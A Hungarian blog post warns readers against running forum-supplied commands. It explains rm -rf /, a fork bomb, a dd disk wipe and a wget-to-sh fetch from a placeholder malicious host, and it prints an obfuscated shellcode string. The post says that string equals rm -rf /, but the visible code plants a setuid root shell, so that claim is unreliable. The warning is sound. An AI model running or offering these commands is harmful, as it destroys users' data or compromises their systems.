Amúgy ennek a posztnak a kapcsán, Petinek, na meg Gergelynek.
Ha nem jelenik meg minden kép azonnal, nos, ne legyünk telhetetlenek!
Amúgy ennek a posztnak a kapcsán, Petinek, na meg Gergelynek.
Ha nem jelenik meg minden kép azonnal, nos, ne legyünk telhetetlenek!
Alapvető játékszabály, hogy a gépen ne hajtsunk végre olyan műveletet, amiről nem tudjuk, hogy mi a hatása. Mégis nagyon sokan nem tartják be, ha megoldást keresnek valamilyen gépükkel kapcsolatos problémára, aztán beleakadnak egy fórumba, amiben benne van a "tuti megoldás".
Ami eléggé világos, hogy ha valaki ráakad egy olyan fórumtopikra, amiben mondjuk az akadozó flash lejátszóval kapcsolatban osztják meg a tapasztalataikat a felhasználók, hiába javasolja valaki a teljesen tapasztalatlan felhasználónak, hogy windowsos rendszer esetén navigáljon el a Computer ablakba, majd a C jelű meghajtó fölött kattintson jobb egérgombbal, majd a helyi menüben válassza a Format... menüpontot, egyrészt a dolog túl átlátszó, másrészt az operációs rendszer alapértelmezés szerint úgysem engedi, harmadrészt pedig ha valaki nagyon nem ért a géphez, annyire hülye azért mégsem lehet, hogy még akkor is formáz, ha egy ablak figyelmezteti, hogy minden adat visszaállíthatatlanul elveszik a művelettel.
Viszont mi a helyzet azokkal a látszólag tapasztalt felhasználóktól származó "jótét" ötletekkel, amik a laikus számára nem azonnal világosak, a gép nem ír ki semmilyen figyelmeztetést és a gépet szinte biztosan használhatatlanná teszik?
Parancssor ["terminálablak"] ugye minden operációs rendszerben van, aminek a használatában nincs otthon az átlag felhasználó, hiszen eleve ritkán van rá szükség, de itt lehet elérni sokszor olyan funkciókat, amiket a grafikus felhasználói felületen egyáltalán nem, ami pedig a leginkább tündéri benne, hogy nyilván lehet kiadni olyan parancsot, ami a legmagasabb jogosultságok mellett fog lefutni, úgy, hogy semmilyen figyelmeztető üzenetet nem ad.
Például ha valaki azt a szájbarágós ötletet kapja, hogy a Windows 7-ben a Run... menüpont alatt indítsa el a cmd-t, mint a Windows alapértelmezett parancsértelmezőjét, majd írja be a format c: /X /Q parancsot, értelemszerű lenne azt hinnünk, hogy a parancs a C betűjelű meghajtó tartalmát törli, ráadásul gyors módban, a /X pedig arra utasítja, hogy ha valamilyen folyamat használja a meghajtót [nyilván igen, mivel tipikusan innen fut az operációs rendszer], akkor válassza le azt és aztán formázza. A dolog viszont alighanem mégsem fog működni, hiszen alapértelmezés szerint a felhasználó nem rendszergazdaként van belépve, másrészt a Microsoft pont az ilyen veszélyes baromságok kiküszöbölése miatt építette be a Vistától fölfelé mindbe az UAC-megoldást.
Persze a Run as... szolgáltatással a parancs futtatható rendszergazdaként is, a felhasználónak csak-csak feltűnik a figyelmeztetés, hogy a winchestert ledózerolja a kiadott parancs. Formázás helyett persze lehetne particiónálás is, a lényegen nem változtat.
Ami viszont már sokkal gyilkosabb tud lenni - és nem, Sevillai Szent Izidor sem fogja megvédeni a felhasználót - az, ha linux parancsokat ad ki, amit egy fórumban olvasott, de nem tudja, hogy mit csinál. Néhánnyal az Apple fórumokon eléggé sűrűn lehet találkozni, de a trollok gyakran beírják több linuxos fórumba is. Igaz, hogy az OSX-en az operációs rendszer részeként működni képes root felhasználó létezik, de nem aktív, hasonlóan például az Ubuntuhoz, ami biztos, hogy minden unix-like rendszerben a root felhasználó létezik, elvből nem iktatható ki teljesen és a rendszer filozófiájából adódóan amilyen parancsot a parancsértelmező kap tőle, gyakorlatilag feltétel nélkül végre kell hajtania. /*gyakorlatilag persze, hogy vannak részmegoldások, amik ezektől védik a felhasználót, de összességében erre hagyatkozni igen rizikós*/ Másrészt tudvalevő, hogy a laikus felhasználó, ha valamit sürgősen meg akar oldani, akkor mindegy, hogy milyen figyelmeztetés jelenik meg, mindig arra a gombra kattint vagy azt a lehetőséget választja, amivel a leggyorsabban tovább lehet haladni.
A parancshéjakban annak a felhasználónak a nevében indulnak a parancsok, aki indította őket /*child process*/, kivéve, amikor nem: a sudo parancs lehetővé teszi, hogy a parancsvégrehajtás idejére akár a legmagasabb jogosultsági szinttel is elindulhasson egy folyamat. Természetesen linux alatt és almás rendszernél is kifinomultan szabályozható, hogy ezzel miket lehessen megcsinálni a /etc/sudoers fájl beállításai szerint, az alapértelmezett beállítás viszont érthetően az, hogy abszolút mindent, hiszen pont erre találták ki, azaz csak akkor irkáld át hardening céljából, ha tényleg tudod, hogy mit csinálsz.
Most pedig jöjjön néhány a legveszélyesebb parancsok közül, némi magyarázattal. Alapesetben ugye mind elé csak egy sudo-t kell írni és máris root jogosultságokkal fut,
0x100.
rm -rf /
Már-már klasszikusnak számít, az rm a törlés parancsot jelenti a végén álló slash azt, hogy a rendszergyökértől kezdve mindent, a -rf pedig az a paraméter, ami megmondja, hogy mindez rekurzívan történjen (r) , azaz minden törlődjön, ami él és mozog, ráadásul olyan módon, hogy nem ad semmilyen figyelmeztetést előtte (f).
Ha úgy gondolnátok, hogy ennél szemetebb megoldás már tényleg nincs, csak úgy írom, hogy van. Ugyanis a *sh parancsértelmezőkben egyben C-nyelvű kulcsszavak, sokszor függvények is meghívhatók, ezek pedig ott vannak csőre töltve folyamatosan a memóriában. Az alábbi kódrészlet ugyanazt csinálja, mint az előbb leírt rm -rf / , viszont olyan módon, hogy ha a hülye felhasználó ezt másolja be a terminálablakba, garantáltan nem fogja érteni, hogy mit csinál, mert ún. obfuszkált kódról van szó. /*az obfuscationre nem találtam megfelelő magyar szót, lényeg, hogy egy - tipikusan egyszerű - feladat úgy van megírva, hogy azt esélytelen legyen megérteni hosszasabb elemzés nélkül*/ A kódrészlet valahogy így néz ki:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
“x6ex2fx73x68x00x2dx63x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Mivel nagyon nem vagyok hardcore C-kóder, én sem jöttem volna rá azonnal, hogy pontosan mit csinál.
0x200.
:(){ :|: & };:
Maga a parancshéj is egy folyamat, így persze többszörözhető. A fent parancs arra utasítja a héjat, hogy többszörözze meg magát, úgy konkrétan végtelen alkalommal. Az eredményt nem nehéz bejósolni: a memória megtelik, a processzor pedig csúcsra jár, a gép garantáltan lefagy, értelemszerűen ha gyors gép, akkor azért, ha lassú, akkor azért.
0x300.
dd if=/dev/random of=/dev/sda
A parancs minden írható felületet véletlenszerű adatokkal fog felülírni, ráadásul olyan módon, hogy nincs az az adatvisszaállító megoldás, amivel a korábbi tartalom helyreállítható lenne. [a windows esetén a formázás, de sokszor a particionálás után is helyreállíthatók az adatok, hacsak nem lettek felülírva, természetesen wines rendszerekben, ha van Powershell, más paranccsal megcsinálható ugyanez]
0x400.
wget http://rosszindulatuoldal.tld/troll_szkriptje -O – | sh
A wget le fog tölteni egy adott webhelyről egy szkriptet, amiben bármi lehet és ezt azonnal át is adja a parancsértelmezőnek, ami persze nem csak sh lehet, hanem másmilyen is. A pompás az egészben, hogy ez az egész szintén a legmagasabb jogosultságokkal fog lefutni, aztán jó esetben nem füstöl el a gépben lévő processzor, hiszen ún. alacsony-szintű hívásokkal lazán írható olyan szript, ami a processzor órajel-többszörözését [GHz] átállítja olyan értékre, amire nagyon nem szabadna. Az alacsony-szintű hívásokhoz nem nagyon értek, de lényeg, hogy olyat is csinálhat egy szkript, ami után azon a gépen már nem sok telepítő fog futkosni és garanciavesztéssel is jár.
Tanulság: ne hajtsatok végre olyan műveletet, pláne ne adjatok ki olyan parancsot a gépen, amiről nem tudjátok pontosan, hogy mit csinál. Akkor sem, ha valaki a szeplőtelen szűzanyára esküszik, hogy az a megoldás vagy egy fórumban találjátok.
Mielőtt valaki úgy gondolná, hogy a méregdrága nagyszámítógépes rendszerek az ilyenektől nyilván mind védve vannak, ezzel kapcsolatban nyilván nem mondhatok sokat, de amit biztosan, hogy ne legyenek illúzióink.
Megjegyzés az első gyilkos szkripttel kapcsolatban: C-forráskódban ne lepődjünk meg semmin, a lenti forráskód lefordítva egy karácsonyi gyerekverset ír ki, az obfuscation klasszikusának mondható, de van még pár ilyen. Eléggé beteg dolog, de több olyan verseny is van, aminek az a célja, hogy a vicces kedvű fanatikusok minél áttekinthetetlenebb kódot írjanak, általában C-ben, de a Perl-es sem piti általában, annyira, hogy egyiket-másikat én sem értem meg gyorsan.
#include <stdio.h>
main(t,_,a)char *a;{return!0<t?t<3?main(-79,-13,a+main(-87,1-_,
main(-86,0,a+1)+a)):1,t<_?main(t+1,_,a):3,main(-94,-27+t,a)&&t==2?_<13?
main(2,_+1,"%s %d %dn"):9:16:t<0?t<-72?main(_,t,
"@n'+,#'/*{}w+/w#cdnr/+,{}r/*de}+,/*{*+,/w{%+,/w#q#n+,/#{l+,/n{n+,/+#
n+,/#;#q#n+,/+k#;*+,/'r :'d*'3,}{w+K w'K:'+}e#';dq#'l
q#'+d'K#!/+k#;q#'r}eKK#}w'r}eKK{nl]'/#;#q#n'){)#}w'){){nl]'/+#n';d}rw
' i;# ){nl]!/n{n#'; r{#w'r nc{nl]'/#{l,+'K {rw' iK{;[{nl]'/w#q#n'wk
nw' iwk{KK{nl]!/w{%'l##w#' i; :{nl]'/*{q#'ld;r'}{nlwb!/*de}'c
;;{nl'-{}rw]'/+,}##'*}#nc,',#nw]'/+kd'+e}+;#'rdq#w! nr'/ ') }+}{rl#'{
n' ')# }'+}##(!!/")
:t<-50?_==*a?putchar(31[a]):main(-65,_,a+1):main((*a=='/')+t,_,a+1)
:0<t?main(2,2,"%s"):*a=='/'||main(0,main(-61,*a,
"!ek;dc i@bK'(q)-[w]*%n+r3#l,{}:nuwloca-O;m .vpbks,fxntdCeghiry"),
a+1);}
Persze sokféleképp gallyra lehet még vágni egy rendszert, a pontosság kedvéért a fenti parancsokat a http://www.howtogeek.com/125157/8-deadly-commands-you-should-never-run-on-linux/ cikk alapján ellenőriztem, egyébként admin berkekben nem számítanak újdonságnak.
Képek forrása: bitsocialmedia.com, butac.it, hitdojo.com